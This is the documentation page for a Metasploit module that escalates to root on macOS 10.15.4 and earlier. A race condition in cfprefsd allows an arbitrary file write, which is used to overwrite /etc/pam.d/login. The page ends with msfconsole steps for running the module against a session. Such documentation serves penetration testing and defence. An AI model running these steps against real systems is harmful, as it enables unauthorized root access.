Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/osx/local/cfprefsd_race_condition.md
Views: 11655
Vulnerable Application
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in order to run a payload as root. The CFPreferencesSetAppValue function, which is reachable from most unsandboxed processes, can be exploited with a race condition in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login a user can then login as root with the login root
command without a password.
Verification Steps
Get a session on a vulnerable system
use exploit/osx/local/cfprefsd_race_condition
set lhost <IP>
set lport <PORT>
set session <session_id>
run